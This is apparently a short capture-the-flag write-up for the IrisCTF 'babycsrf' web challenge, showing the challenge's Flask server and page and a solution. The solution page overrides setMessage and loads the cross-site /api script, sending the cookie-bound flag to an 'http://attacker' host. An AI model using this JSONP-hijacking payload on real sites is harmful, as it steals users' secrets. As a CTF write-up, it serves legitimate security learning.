from flask import Flask, request
app = Flask(__name__)
with open("home.html") as home:
HOME_PAGE = home.read()
@app.route("/")
def home():
return HOME_PAGE
@app.route("/api")
def page():
secret = request.cookies.get("secret", "EXAMPLEFLAG")
return f"setMessage('irisctf{{{secret}}}');"
app.run(port=12345)
<!DOCTYPE html>
<html>
<body>
<h4>Welcome to my home page!</h4>
Message of the day: <span id="message">(loading...)</span>
<script>
window.setMessage = (m) => {
document.getElementById("message").innerText = m;
}
window.onload = () => {
s = document.createElement("script");
s.src = "/api";
document.body.appendChild(s);
}
</script>
</body>
</html>
/api service will make setMessage('irisctf{{{secret}}}');
Thus, we gonna change setMessage() function to get FLAG
<!DOCTYPE html>
<html>
<body>
<script>
function setMessage(m){
location.href = "http://attacker/time?secret="+m;
}
</script>
<script src="https://babycsrf-web.chal.irisc.tf/api"></script>
</body>
</html>